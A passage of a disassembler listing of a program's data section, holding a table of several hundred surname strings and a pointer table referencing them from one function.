aRuan db 'Ruan',0 ; DATA XREF: .data:0043EA14o
align 4
aRuderman db 'Ruderman',0 ; DATA XREF: .data:0043EA18o
align 10h
aRuescher db 'Ruescher',0 ; DATA XREF: .data:0043EA1Co
align 4
aRush db 'Rush',0 ; DATA XREF: .data:0043EA20o
align 4
aRyu db 'Ryu',0 ; DATA XREF: .data:0043EA24o
aSabatello db 'Sabatello',0 ; DATA XREF: .data:0043EA28o
align 4
aSadler db 'Sadler',0 ; DATA XREF: .data:0043EA2Co
align 4
aSafire db 'Safire',0 ; DATA XREF: .data:0043EA30o
align 4
aSahu db 'Sahu',0 ; DATA XREF: .data:0043EA34o
align 4
aSali db 'Sali',0 ; DATA XREF: .data:0043EA38o
align 4
aSamson db 'Samson',0 ; DATA XREF: .data:0043EA3Co
align 4
aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: .data:0043EA40o
aSanna db 'Sanna',0 ; DATA XREF: .data:0043EA44o
align 4
aSapers db 'Sapers',0 ; DATA XREF: .data:0043EA48o
align 4
aSarin db 'Sarin',0 ; DATA XREF: .data:0043EA4Co
align 4
aSartore db 'Sartore',0 ; DATA XREF: .data:0043EA50o
aSase db 'Sase',0 ; DATA XREF: .data:0043EA54o
align 4
aSatin db 'Satin',0 ; DATA XREF: .data:0043EA58o
align 4
aSatta db 'Satta',0 ; DATA XREF: .data:0043EA5Co
align 4
aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: .data:0043EA60o
align 4
aSawtell db 'Sawtell',0 ; DATA XREF: .data:0043EA64o
aSayied db 'Sayied',0 ; DATA XREF: .data:0043EA68o
align 4
aScarponi db 'Scarponi',0 ; DATA XREF: .data:0043EA6Co
align 10h
aScepan db 'Scepan',0 ; DATA XREF: .data:0043EA70o
align 4
aScharf db 'Scharf',0 ; DATA XREF: .data:0043EA74o
align 10h
aScharlemann db 'Scharlemann',0 ; DATA XREF: .data:0043EA78o
aScheiner db 'Scheiner',0 ; DATA XREF: .data:0043EA7Co
align 4
aSchiano db 'Schiano',0 ; DATA XREF: .data:0043EA80o
aSchifini db 'Schifini',0 ; DATA XREF: .data:0043EA84o
align 4
aSchilling db 'Schilling',0 ; DATA XREF: .data:0043EA88o
align 4
aSchmitt db 'Schmitt',0 ; DATA XREF: .data:0043EA8Co
aSchossberger db 'Schossberger',0 ; DATA XREF: .data:0043EA90o
align 10h
aSchuman db 'Schuman',0 ; DATA XREF: .data:0043EA94o
aSchutte db 'Schutte',0 ; DATA XREF: .data:0043EA98o
aSchuyler db 'Schuyler',0 ; DATA XREF: .data:0043EA9Co
align 4
aSchwan db 'Schwan',0 ; DATA XREF: .data:0043EAA0o
align 4
aSchwickrath db 'Schwickrath',0 ; DATA XREF: .data:0043EAA4o
aScovel db 'Scovel',0 ; DATA XREF: .data:0043EAA8o
align 4
aScudder db 'Scudder',0 ; DATA XREF: .data:0043EAACo
aSeaton db 'Seaton',0 ; DATA XREF: .data:0043EAB0o
align 4
aSeeber db 'Seeber',0 ; DATA XREF: .data:0043EAB4o
align 10h
aSegal db 'Segal',0 ; DATA XREF: .data:0043EAB8o
align 4
aSekler db 'Sekler',0 ; DATA XREF: .data:0043EABCo
align 10h
aSelvage db 'Selvage',0 ; DATA XREF: .data:0043EAC0o
aSen db 'Sen',0 ; DATA XREF: .data:0043EAC4o
aSennett db 'Sennett',0 ; DATA XREF: .data:0043EAC8o
aSeterdahl db 'Seterdahl',0 ; DATA XREF: .data:0043EACCo
align 10h
aSexton db 'Sexton',0 ; DATA XREF: .data:0043EAD0o
align 4
aSeyfert db 'Seyfert',0 ; DATA XREF: .data:0043EAD4o
aShaikh db 'Shaikh',0 ; DATA XREF: .data:0043EAD8o
align 4
aShakis db 'Shakis',0 ; DATA XREF: .data:0043EADCo
align 10h
aShankland db 'Shankland',0 ; DATA XREF: .data:0043EAE0o
align 4
aShanley db 'Shanley',0 ; DATA XREF: .data:0043EAE4o
aShar db 'Shar',0 ; DATA XREF: .data:0043EAE8o
align 4
aShatrov db 'Shatrov',0 ; DATA XREF: .data:0043EAECo
aShavelson db 'Shavelson',0 ; DATA XREF: .data:0043EAF0o
align 10h
aShea db 'Shea',0 ; DATA XREF: .data:0043EAF4o
align 4
aSheats db 'Sheats',0 ; DATA XREF: .data:0043EAF8o
align 10h
aShepherd db 'Shepherd',0 ; DATA XREF: .data:0043EAFCo
align 4
aSheppard db 'Sheppard',0 ; DATA XREF: .data:0043EB00o
align 4
aShepstone db 'Shepstone',0 ; DATA XREF: .data:0043EB04o
align 4
aShesko db 'Shesko',0 ; DATA XREF: .data:0043EB08o
align 4
aShia db 'Shia',0 ; DATA XREF: .data:0043EB0Co
align 4
aShibata db 'Shibata',0 ; DATA XREF: .data:0043EB10o
aShimon db 'Shimon',0 ; DATA XREF: .data:0043EB14o
align 4
aSiesto db 'Siesto',0 ; DATA XREF: .data:0043EB18o
align 4
aSigalot db 'Sigalot',0 ; DATA XREF: .data:0043EB1Co
aSigini db 'Sigini',0 ; DATA XREF: .data:0043EB20o
align 4
aSigna db 'Signa',0 ; DATA XREF: .data:0043EB24o
align 4
aSilverman db 'Silverman',0 ; DATA XREF: .data:0043EB28o
align 10h
aSilvetti db 'Silvetti',0 ; DATA XREF: .data:0043EB2Co
align 4
aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: .data:0043EB30o
align 4
aSirilli db 'Sirilli',0 ; DATA XREF: .data:0043EB34o
aSites db 'Sites',0 ; DATA XREF: .data:0043EB38o
align 4
aSkane db 'Skane',0 ; DATA XREF: .data:0043EB3Co
align 10h
aSkerry db 'Skerry',0 ; DATA XREF: .data:0043EB40o
align 4
aSkoda db 'Skoda',0 ; DATA XREF: .data:0043EB44o
align 10h
aSloan db 'Sloan',0 ; DATA XREF: .data:0043EB48o
align 4
aSlowe db 'Slowe',0 ; DATA XREF: .data:0043EB4Co
align 10h
aSmilow db 'Smilow',0 ; DATA XREF: .data:0043EB50o
align 4
aSniffen db 'Sniffen',0 ; DATA XREF: .data:0043EB54o
aSnodgrass db 'Snodgrass',0 ; DATA XREF: .data:0043EB58o
align 4
aSocolow db 'Socolow',0 ; DATA XREF: .data:0043EB5Co
aSolon db 'Solon',0 ; DATA XREF: .data:0043EB60o
align 4
aSomers db 'Somers',0 ; DATA XREF: .data:0043EB64o
align 4
aSommariva db 'Sommariva',0 ; DATA XREF: .data:0043EB68o
align 10h
aSorabella db 'Sorabella',0 ; DATA XREF: .data:0043EB6Co
align 4
aSorg db 'Sorg',0 ; DATA XREF: .data:0043EB70o
align 4
aSottak db 'Sottak',0 ; DATA XREF: .data:0043EB74o
align 4
aSoukup db 'Soukup',0 ; DATA XREF: .data:0043EB78o
align 4
aSoule db 'Soule',0 ; DATA XREF: .data:0043EB7Co
align 4
aSoultanian db 'Soultanian',0 ; DATA XREF: .data:0043EB80o
align 4
aSpanier db 'Spanier',0 ; DATA XREF: .data:0043EB84o
aSparrow db 'Sparrow',0 ; DATA XREF: .data:0043EB88o
aSpaulding db 'Spaulding',0 ; DATA XREF: .data:0043EB8Co
align 4
aSpeizer db 'Speizer',0 ; DATA XREF: .data:0043EB90o
aSpence db 'Spence',0 ; DATA XREF: .data:0043EB94o
align 4
aSperber db 'Sperber',0 ; DATA XREF: .data:0043EB98o
aSpicer db 'Spicer',0 ; DATA XREF: .data:0043EB9Co
align 4
aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: .data:0043EBA0o
align 4
aSpiliotis db 'Spiliotis',0 ; DATA XREF: .data:0043EBA4o
align 10h
aSpinrad db 'Spinrad',0 ; DATA XREF: .data:0043EBA8o
aStmartin db 'StMartin',0 ; DATA XREF: .data:0043EBACo
align 4
aStalvey db 'Stalvey',0 ; DATA XREF: .data:0043EBB0o
aStam db 'Stam',0 ; DATA XREF: .data:0043EBB4o
align 4
aStang db 'Stang',0 ; DATA XREF: .data:0043EBB8o
align 4
aStassinopolus db 'Stassinopolus',0 ; DATA XREF: .data:0043EBBCo
align 4
aStates db 'States',0 ; DATA XREF: .data:0043EBC0o
align 4
aStatlender db 'Statlender',0 ; DATA XREF: .data:0043EBC4o
align 10h
aStefani db 'Stefani',0 ; DATA XREF: .data:0043EBC8o
aSteiner db 'Steiner',0 ; DATA XREF: .data:0043EBCCo
aStephanian db 'Stephanian',0 ; DATA XREF: .data:0043EBD0o
align 4
aStepniewska db 'Stepniewska',0 ; DATA XREF: .data:0043EBD4o
aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: .data:0043EBD8o
align 4
aStiepock db 'Stiepock',0 ; DATA XREF: .data:0043EBDCo
align 4
aStillwell db 'Stillwell',0 ; DATA XREF: .data:0043EBE0o
align 10h
aStock db 'Stock',0 ; DATA XREF: .data:0043EBE4o
align 4
aStockton db 'Stockton',0 ; DATA XREF: .data:0043EBE8o
align 4
aStockwell db 'Stockwell',0 ; DATA XREF: .data:0043EBECo
align 10h
aStolzenberg db 'Stolzenberg',0 ; DATA XREF: .data:0043EBF0o
aStonich db 'Stonich',0 ; DATA XREF: .data:0043EBF4o
aStorer db 'Storer',0 ; DATA XREF: .data:0043EBF8o
align 4
aStott db 'Stott',0 ; DATA XREF: .data:0043EBFCo
align 4
aStrange db 'Strange',0 ; DATA XREF: .data:0043EC00o
aStrauch db 'Strauch',0 ; DATA XREF: .data:0043EC04o
aStreiff db 'Streiff',0 ; DATA XREF: .data:0043EC08o
aStringer db 'Stringer',0 ; DATA XREF: .data:0043EC0Co
align 4
aSullivan db 'Sullivan',0 ; DATA XREF: .data:0043EC10o
align 4
aSumner db 'Sumner',0 ; DATA XREF: .data:0043EC14o
align 4
aSuo db 'Suo',0 ; DATA XREF: .data:0043EC18o
aSurdam db 'Surdam',0 ; DATA XREF: .data:0043EC1Co
align 4
aSweeting db 'Sweeting',0 ; DATA XREF: .data:0043EC20o
align 4
aSweetser db 'Sweetser',0 ; DATA XREF: .data:0043EC24o
align 10h
aSwindle db 'Swindle',0 ; DATA XREF: .data:0043EC28o
aTagiuri db 'Tagiuri',0 ; DATA XREF: .data:0043EC2Co
aTai db 'Tai',0 ; DATA XREF: .data:0043EC30o
aTalaugon db 'Talaugon',0 ; DATA XREF: .data:0043EC34o
align 10h
aTambiah db 'Tambiah',0 ; DATA XREF: .data:0043EC38o
aTandler db 'Tandler',0 ; DATA XREF: .data:0043EC3Co
aTanowitz db 'Tanowitz',0 ; DATA XREF: .data:0043EC40o
align 4
aTatar db 'Tatar',0 ; DATA XREF: .data:0043EC44o
align 4
aTaveras db 'Taveras',0 ; DATA XREF: .data:0043EC48o
aTawn db 'Tawn',0 ; DATA XREF: .data:0043EC4Co
align 4
aTcherepnin db 'Tcherepnin',0 ; DATA XREF: .data:0043EC50o
align 10h
aTeague db 'Teague',0 ; DATA XREF: .data:0043EC54o
align 4
aTemes db 'Temes',0 ; DATA XREF: .data:0043EC58o
align 10h
aTemmer db 'Temmer',0 ; DATA XREF: .data:0043EC5Co
align 4
aTenney db 'Tenney',0 ; DATA XREF: .data:0043EC60o
align 10h
aTerracini db 'Terracini',0 ; DATA XREF: .data:0043EC64o
align 4
aThan db 'Than',0 ; DATA XREF: .data:0043EC68o
align 4
aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: .data:0043EC6Co
align 4
aTheodos db 'Theodos',0 ; DATA XREF: .data:0043EC70o
aThibault db 'Thibault',0 ; DATA XREF: .data:0043EC74o
align 4
aThisted db 'Thisted',0 ; DATA XREF: .data:0043EC78o
aThomsen db 'Thomsen',0 ; DATA XREF: .data:0043EC7Co
aThroop db 'Throop',0 ; DATA XREF: .data:0043EC80o
align 10h
aTierney db 'Tierney',0 ; DATA XREF: .data:0043EC84o
aTill db 'Till',0 ; DATA XREF: .data:0043EC88o
align 10h
aTimmons db 'Timmons',0 ; DATA XREF: .data:0043EC8Co
aTofallis db 'Tofallis',0 ; DATA XREF: .data:0043EC90o
align 4
aTollestrup db 'Tollestrup',0 ; DATA XREF: .data:0043EC94o
align 10h
aTolls db 'Tolls',0 ; DATA XREF: .data:0043EC98o
align 4
aTolman db 'Tolman',0 ; DATA XREF: .data:0043EC9Co
align 10h
aTomford db 'Tomford',0 ; DATA XREF: .data:0043ECA0o
aToomer db 'Toomer',0 ; DATA XREF: .data:0043ECA4o
align 10h
aTopulos db 'Topulos',0 ; DATA XREF: .data:0043ECA8o
aTorresi db 'Torresi',0 ; DATA XREF: .data:0043ECACo
aTorske db 'Torske',0 ; DATA XREF: .data:0043ECB0o
align 4
aTowler db 'Towler',0 ; DATA XREF: .data:0043ECB4o
align 10h
aToye db 'Toye',0 ; DATA XREF: .data:0043ECB8o
align 4
aTraebert db 'Traebert',0 ; DATA XREF: .data:0043ECBCo
align 4
aTrenga db 'Trenga',0 ; DATA XREF: .data:0043ECC0o
align 4
aTrewin db 'Trewin',0 ; DATA XREF: .data:0043ECC4o
align 4
aTringali db 'Tringali',0 ; DATA XREF: .data:0043ECC8o
align 10h
aTroiani db 'Troiani',0 ; DATA XREF: .data:0043ECCCo
aTroy db 'Troy',0
align 10h
aTruss db 'Truss',0
align 4
aTsiatis db 'Tsiatis',0
aTsomides db 'Tsomides',0
align 4
aTsukurov db 'Tsukurov',0
align 4
aTuck db 'Tuck',0
align 10h
aTudge db 'Tudge',0
align 4
aTukan db 'Tukan',0
align 10h
aTurano db 'Turano',0
align 4
aTurek db 'Turek',0
align 10h
aTuttle db 'Tuttle',0
align 4
aTwells db 'Twells',0
align 10h
aTzamarias db 'Tzamarias',0 ; DATA XREF: .data:0043ED00o
align 4
aUllman db 'Ullman',0 ; DATA XREF: .data:0043ED04o
align 4
aUntermeyer db 'Untermeyer',0 ; DATA XREF: .data:0043ED08o
align 10h
aUpsdell db 'Upsdell',0 ; DATA XREF: .data:0043ED0Co
aUrban db 'Urban',0 ; DATA XREF: .data:0043ED10o
align 10h
aUrdangBrown db 'Urdang-Brown',0 ; DATA XREF: .data:0043ED14o
align 10h
aUsdan db 'Usdan',0 ; DATA XREF: .data:0043ED18o
align 4
aUzuner db 'Uzuner',0 ; DATA XREF: .data:0043ED1Co
align 10h
aVacca db 'Vacca',0 ; DATA XREF: .data:0043ED20o
align 4
aWaite db 'Waite',0 ; DATA XREF: .data:0043ED24o
align 10h
aValberg db 'Valberg',0 ; DATA XREF: .data:0043ED28o
aValencia db 'Valencia',0 ; DATA XREF: .data:0043ED2Co
align 4
aWales db 'Wales',0 ; DATA XREF: .data:0043ED30o
align 4
aWallenberg db 'Wallenberg',0 ; DATA XREF: .data:0043ED34o
align 4
aWalter db 'Walter',0 ; DATA XREF: .data:0043ED38o
align 10h
aVanallen db 'vanAllen',0 ; DATA XREF: .data:0043ED3Co
align 4
aVanzwet db 'VanZwet',0 ; DATA XREF: .data:0043ED40o
aVandenberg db 'Vandenberg',0 ; DATA XREF: .data:0043ED44o
align 10h
aVanheeckeren db 'Vanheeckeren',0 ; DATA XREF: .data:0043ED48o
align 10h
aWarshafsky db 'Warshafsky',0 ; DATA XREF: .data:0043ED4Co
align 4
aWasowska db 'Wasowska',0 ; DATA XREF: .data:0043ED50o
align 4
aVasquez db 'Vasquez',0 ; DATA XREF: .data:0043ED54o
aWaugh db 'Waugh',0 ; DATA XREF: .data:0043ED58o
align 4
aWeighart db 'Weighart',0 ; DATA XREF: .data:0043ED5Co
align 4
aWeingarten db 'Weingarten',0 ; DATA XREF: .data:0043ED60o
align 10h
aWeinhaus db 'Weinhaus',0 ; DATA XREF: .data:0043ED64o
align 4
aWeissbourd db 'Weissbourd',0 ; DATA XREF: .data:0043ED68o
align 4
aWeissman db 'Weissman',0 ; DATA XREF: .data:0043ED6Co
align 4
aVelasquez db 'Velasquez',0 ; DATA XREF: .data:0043ED70o
align 10h
aWelles db 'Welles',0 ; DATA XREF: .data:0043ED74o
align 4
aWelsh db 'Welsh',0 ; DATA XREF: .data:0043ED78o
align 10h
aWengret db 'Wengret',0 ; DATA XREF: .data:0043ED7Co
aVenne db 'Venne',0 ; DATA XREF: .data:0043ED80o
align 10h
aVerghese db 'Verghese',0 ; DATA XREF: .data:0043ED84o
align 4
aWescott db 'Wescott',0 ; DATA XREF: .data:0043ED88o
aWetzel db 'Wetzel',0 ; DATA XREF: .data:0043ED8Co
align 4
aWhately db 'Whately',0 ; DATA XREF: .data:0043ED90o
aWhilton db 'Whilton',0 ; DATA XREF: .data:0043ED94o
aWhite db 'White',0 ; DATA XREF: .data:0043ED98o
align 4
aWhitla db 'Whitla',0 ; DATA XREF: .data:0043ED9Co
align 4
aWhittaker db 'Whittaker',0 ; DATA XREF: .data:0043EDA0o
align 4
aViana db 'Viana',0 ; DATA XREF: .data:0043EDA4o
align 10h
aViano db 'Viano',0 ; DATA XREF: .data:0043EDA8o
align 4
aWiedersheim db 'Wiedersheim',0 ; DATA XREF: .data:0043EDACo
aWiener db 'Wiener',0 ; DATA XREF: .data:0043EDB0o
align 4
aViens db 'Viens',0 ; DATA XREF: .data:0043EDB4o
align 4
aVignola db 'Vignola',0 ; DATA XREF: .data:0043EDB8o
aWilder db 'Wilder',0 ; DATA XREF: .data:0043EDBCo
align 4
aWilhelm db 'Wilhelm',0 ; DATA XREF: .data:0043EDC0o
aWilk db 'Wilk',0 ; DATA XREF: .data:0043EDC4o
align 4
aWilkin db 'Wilkin',0 ; DATA XREF: .data:0043EDC8o
align 4
aWilkinson db 'Wilkinson',0 ; DATA XREF: .data:0043EDCCo
align 4
aVillarreal db 'Villarreal',0 ; DATA XREF: .data:0043EDD0o
align 4
aWillstatter db 'Willstatter',0 ; DATA XREF: .data:0043EDD4o
aWilson db 'Wilson',0 ; DATA XREF: .data:0043EDD8o
align 4
aVitali db 'Vitali',0 ; DATA XREF: .data:0043EDDCo
align 10h
aViviani db 'Viviani',0 ; DATA XREF: .data:0043EDE0o
aVoigt db 'Voigt',0 ; DATA XREF: .data:0043EDE4o
align 10h
aWolk db 'Wolk',0
align 4
aVonhoffman db 'VonHoffman',0
align 4
aWoo db 'Woo',0
aWooden db 'Wooden',0
align 10h
aWoods db 'Woods',0
align 4
aWoodsPowell db 'Woods-Powell',0
align 4
aVorhaus db 'Vorhaus',0
aVotey db 'Votey',0
align 4
aYacono db 'Yacono',0
align 10h
aYamane db 'Yamane',0
align 4
aYankee db 'Yankee',0
align 10h
aYarchuk db 'Yarchuk',0
aYates db 'Yates',0
align 10h
aYbarra db 'Ybarra',0
align 4
aYedidia db 'Yedidia',0
aYesson db 'Yesson',0
align 4
aYetiv db 'Yetiv',0
align 10h
aYoffe db 'Yoffe',0
align 4
aYoo db 'Yoo',0
aYoukSee db 'Youk-See',0
align 4
aYu db 'Yu',0
align 4
aZachary db 'Zachary',0
aZahedi db 'Zahedi',0
align 4
aZangwill db 'Zangwill',0
align 4
aZegans db 'Zegans',0 ; DATA XREF: .data:0043EE48o
align 10h
aZerbini db 'Zerbini',0 ; DATA XREF: .data:0043EE4Co
aZoldak db 'Zoldak',0 ; DATA XREF: .data:0043EE50o
align 10h
aZucconi db 'Zucconi',0 ; DATA XREF: .data:0043EE54o
aZurn db 'Zurn',0 ; DATA XREF: .data:0043EE58o
align 10h
aZwiers db 'Zwiers',0 ; DATA XREF: .data:0043EE5Co
align 4
aZytowski db 'Zytowski',0 ; DATA XREF: .data:0043EE60o
align 8
off_43DC28 dd offset aAbdulrazak ; DATA XREF: sub_408F7D+20r
; "Abdulrazak"
dd offset aAckerman ; "Ackerman"
dd offset aAdams ; "Adams"
dd offset aAddison ; "Addison"
dd offset aAdelstein ; "Adelstein"
dd offset aAdibe ; "Adibe"
dd offset aAdorno ; "Adorno"
dd offset aAhlers ; "Ahlers"
dd offset aAlavi ; "Alavi"
dd offset aAlcorn ; "Alcorn"
dd offset aAlda ; "Alda"
dd offset aAleks ; "Aleks"
dd offset aAllison ; "Allison"
dd offset aAlongi ; "Alongi"
dd offset aAltavilla ; "Altavilla"
dd offset aAltenberger ; "Altenberger"
dd offset aAltenhofen ; "Altenhofen"
dd offset aAmaral ; "Amaral"
dd offset aAmatangelo ; "Amatangelo"
dd offset aAmeer ; "Ameer"
dd offset aAmsden ; "Amsden"
dd offset aAnand ; "Anand"
dd offset aAndel ; "Andel"
dd offset aAndo ; "Ando"
dd offset aAndrelus ; "Andrelus"
dd offset aAndron ; "Andron"
dd offset aAnfinrud ; "Anfinrud"
dd offset aAnsley ; "Ansley"
dd offset aAnthony ; "Anthony"
dd offset aAntos ; "Antos"
dd offset aArbia ; "Arbia"
dd offset aArduini ; "Arduini"
dd offset aArellano ; "Arellano"
dd offset aAristotle ; "Aristotle"
dd offset aArjas ; "Arjas"
dd offset aArky ; "Arky"
dd offset aAtkins ; "Atkins"
dd offset aAugustus ; "Augustus"
dd offset aAurelius ; "Aurelius"
dd offset aAxelrod ; "Axelrod"
dd offset aAxworthy ; "Axworthy"
dd offset aAyiemba ; "Ayiemba"
dd offset aAykroyd ; "Aykroyd"
dd offset aAyling ; "Ayling"
dd offset aAzima ; "Azima"
dd offset aBachmuth ; "Bachmuth"
dd offset aBackus ; "Backus"
dd offset aBady ; "Bady"
dd offset aBaglivo ; "Baglivo"
dd offset aBagnold ; "Bagnold"
dd offset aBailar ; "Bailar"
dd offset aBakanowsky ; "Bakanowsky"
dd offset aBaleja ; "Baleja"
dd offset aBallatori ; "Ballatori"
dd offset aBallew ; "Ballew"
dd offset aBaltz ; "Baltz"
dd offset aBanta ; "Banta"
dd offset aBarabesi ; "Barabesi"
dd offset aBarajas ; "Barajas"
dd offset aBaranczak ; "Baranczak"
dd offset aBaranowska ; "Baranowska"
dd offset aBarberi ; "Barberi"
dd offset aBarbetti ; "Barbetti"
dd offset aBarneson ; "Barneson"
dd offset aBarnett ; "Barnett"
dd offset aBarriola ; "Barriola"
dd offset aBarry ; "Barry"
dd offset aBartholomew ; "Bartholomew"
dd offset aBartolome ; "Bartolome"
dd offset aBartoo ; "Bartoo"
dd offset aBasavappa ; "Basavappa"
dd offset aBashevis ; "Bashevis"
dd offset aBatchelder ; "Batchelder"
dd offset aBaumiller ; "Baumiller"
dd offset aBayles ; "Bayles"
dd offset aBayo ; "Bayo"
dd offset aBeacon ; "Beacon"
dd offset aBeal ; "Beal"
dd offset aBean ; "Bean"
dd offset aBeckman ; "Beckman"
dd offset aBeder ; "Beder"
dd offset aBedford ; "Bedford"
dd offset aBehenna ; "Behenna"
dd offset aBelanger ; "Belanger"
dd offset aBelaoussof ; "Belaoussof"
dd offset aBelfer ; "Belfer"
dd offset aBelinCollart ; "Belin-Collart"
dd offset aBellavance ; "Bellavance"
dd offset aBellhouse ; "Bellhouse"
dd offset aBellini ; "Bellini"
dd offset aBelloc ; "Belloc"
dd offset aBenedictDye ; "Benedict-Dye"
dd offset aBergson ; "Bergson"
dd offset aBerkeJenkins ; "Berke-Jenkins"
dd offset aBernardo ; "Bernardo"
dd offset aBernassola ; "Bernassola"
dd offset aBernston ; "Bernston"
dd offset aBerrizbeitia ; "Berrizbeitia"
dd offset aBetti ; "Betti"
dd offset aBeynart ; "Beynart"
dd offset aBiagioli ; "Biagioli"
dd offset aBickel ; "Bickel"
dd offset aBinion ; "Binion"
dd offset aBir ; "Bir"
dd offset aBisema ; "Bisema"
dd offset aBisho ; "Bisho"
dd offset aBlackbourn ; "Blackbourn"
dd offset aBlackwell ; "Blackwell"
dd offset aBlagg ; "Blagg"
dd offset aBlakemore ; "Blakemore"
dd offset aBlanke ; "Blanke"
dd offset aBliss ; "Bliss"
dd offset aBlizard ; "Blizard"
dd offset aBloch ; "Bloch"
dd offset aBloembergen ; "Bloembergen"
dd offset aBloemhof ; "Bloemhof"
dd offset aBloxham ; "Bloxham"
dd offset aBlyth ; "Blyth"
dd offset aBolger ; "Bolger"
dd offset aBolick ; "Bolick"
dd offset aBollinger ; "Bollinger"
dd offset aBologna ; "Bologna"
dd offset aBoner ; "Boner"
dd offset aBonham ; "Bonham"
dd offset aBoniface ; "Boniface"
dd offset aBontempo ; "Bontempo"
dd offset aBook ; "Book"
dd offset aBookbinder ; "Bookbinder"
dd offset aBoone ; "Boone"
dd offset aBoorstin ; "Boorstin"
dd offset aBorack ; "Borack"
dd offset aBorden ; "Borden"
dd offset aBossi ; "Bossi"
dd offset aBothman ; "Bothman"
dd offset aBotosh ; "Botosh"
dd offset aBoudin ; "Boudin"
dd offset aBoudrot ; "Boudrot"
dd offset aBourneuf ; "Bourneuf"
dd offset aBowers ; "Bowers"
dd offset aBoxer ; "Boxer"
dd offset aBoyajian ; "Boyajian"
dd offset aBoyes ; "Boyes"
dd offset aBoyland ; "Boyland"
dd offset aBoym ; "Boym"
dd offset aBoyne ; "Boyne"
dd offset aBracalente ; "Bracalente"
dd offset aBradac ; "Bradac"
dd offset aBradach ; "Bradach"
dd offset aBrecht ; "Brecht"
dd offset aBreed ; "Breed"
dd offset aBrenan ; "Brenan"
dd offset aBrennan ; "Brennan"
dd offset aBrewer ; "Brewer"
dd offset aBrewer_0 ; "Brewer"
dd offset aBridgeman ; "Bridgeman"
dd offset aBridges ; "Bridges"
dd offset aBrinton ; "Brinton"
dd offset aBritz ; "Britz"
dd offset aBroca ; "Broca"
dd offset aBrook ; "Brook"
dd offset aBrzycki ; "Brzycki"
dd offset aBuchan ; "Buchan"
dd offset aBudding ; "Budding"
dd offset aBullard ; "Bullard"
dd offset aBunton ; "Bunton"
dd offset aBurden ; "Burden"
dd offset aBurdzy ; "Burdzy"
dd offset aBurke ; "Burke"
dd offset aBurridge ; "Burridge"
dd offset aBusetta ; "Busetta"
dd offset aByatt ; "Byatt"
dd offset aByerly ; "Byerly"
dd offset aByrd ; "Byrd"
dd offset aCage ; "Cage"
dd offset aCalnan ; "Calnan"
dd offset aCammelli ; "Cammelli"
dd offset aCammilleri ; "Cammilleri"
dd offset aCanley ; "Canley"
dd offset aCapanni ; "Capanni"
dd offset aCaperton ; "Caperton"
dd offset aCapocaccia ; "Capocaccia"
dd offset aCapodilupo ; "Capodilupo"
dd offset aCappuccio ; "Cappuccio"
dd offset aCapursi ; "Capursi"
dd offset aCaratozzolo ; "Caratozzolo"
dd offset aCarayannopoulo ; "Carayannopoulos"
dd offset aCarlin ; "Carlin"
dd offset aCarlos ; "Carlos"
dd offset aCarlyle ; "Carlyle"
dd offset aCarmichael ; "Carmichael"
dd offset aCaroti ; "Caroti"
dd offset aCarper ; "Carper"
dd offset aCartmill ; "Cartmill"
dd offset aCascio ; "Cascio"
dd offset aCase ; "Case"
dd offset aCaspar ; "Caspar"
dd offset aCastelda ; "Castelda"
dd offset aCavanagh ; "Cavanagh"
dd offset aCavell ; "Cavell"
dd offset aCeniceros ; "Ceniceros"
dd offset aCerioli ; "Cerioli"
dd offset aChapman ; "Chapman"
dd offset aCharles ; "Charles"
dd offset aCheang ; "Cheang"
dd offset aCherry ; "Cherry"
dd offset aChervinsky ; "Chervinsky"
dd offset aChiassino ; "Chiassino"
dd offset aChien ; "Chien"
dd offset aChildress ; "Childress"
dd offset aChilds ; "Childs"
dd offset aChinipardaz ; "Chinipardaz"
dd offset aChinman ; "Chinman"
dd offset aChristenson ; "Christenson"
dd offset aChristian ; "Christian"
dd offset aChristiano ; "Christiano"
dd offset aChristie ; "Christie"
dd offset aChristopher ; "Christopher"
dd offset aChu ; "Chu"
dd offset aChupasko ; "Chupasko"
dd offset aChurch ; "Church"
dd offset aCiampaglia ; "Ciampaglia"
dd offset aCicero ; "Cicero"
dd offset aCifarelli ; "Cifarelli"
dd offset aClaffey ; "Claffey"
dd offset aClancy ; "Clancy"
dd offset aClark ; "Clark"
dd offset aClement ; "Clement"
dd offset aClifton ; "Clifton"
dd offset aClow ; "Clow"
dd offset aCoblenz ; "Coblenz"
dd offset aCoito ; "Coito"
dd offset aColdren ; "Coldren"
dd offset aColella ; "Colella"
dd offset aCollard ; "Collard"
dd offset aCollis ; "Collis"
dd offset aCompton ; "Compton"
dd offset aCompton_0 ; "Compton"
dd offset aComstock ; "Comstock"
dd offset aConcino ; "Concino"
dd offset aCondodina ; "Condodina"
dd offset aConnors ; "Connors"
dd offset aCorey ; "Corey"
dd offset aCornish ; "Cornish"
dd offset aCosmides ; "Cosmides"
dd offset aCounter ; "Counter"
dd offset aCoutaux ; "Coutaux"
dd offset aCrawford ; "Crawford"
dd offset aCrocker ; "Crocker"
dd offset aCroshaw ; "Croshaw"
dd offset aCroxen ; "Croxen"
dd offset aCroxton ; "Croxton"
dd offset aCui ; "Cui"
dd offset aCurrier ; "Currier"
dd offset aCutler ; "Cutler"
dd offset aCvek ; "Cvek"
dd offset aCyders ; "Cyders"
dd offset aDasilva ; "daSilva"
dd offset aDaldalian ; "Daldalian"
dd offset aDaly ; "Daly"
dd offset aDAmbra ; "D'Ambra"
dd offset aDanieli ; "Danieli"
dd offset aDante ; "Dante"
dd offset aDapice ; "Dapice"
dd offset aDArcangelo ; "D'arcangelo"
dd offset aDas ; "Das"
dd offset aDasgupta ; "Dasgupta"
dd offset aDaskalu ; "Daskalu"
dd offset aDavid ; "David"
dd offset aDawkins ; "Dawkins"
dd offset aDegennaro ; "DeGennaro"
dd offset aDelapena ; "DeLaPena"
dd offset aDelEnclos ; "del'Enclos"
dd offset aDerousse ; "deRousse"
dd offset aDebroff ; "Debroff"
dd offset aDees ; "Dees"
dd offset aDefeciani ; "Defeciani"
dd offset aDelattre ; "Delattre"
dd offset aDeleonRendon ; "Deleon-Rendon"
dd offset aDelger ; "Delger"
dd offset aDellAcqua ; "Dell'acqua"
dd offset aDeming ; "Deming"
dd offset aDempster ; "Dempster"
dd offset aDemusz ; "Demusz"
dd offset aDenault ; "Denault"
dd offset aDenham ; "Denham"
dd offset aDenison ; "Denison"
dd offset aDesombre ; "Desombre"
dd offset aDeutsch ; "Deutsch"
dd offset aDFini ; "D'fini"
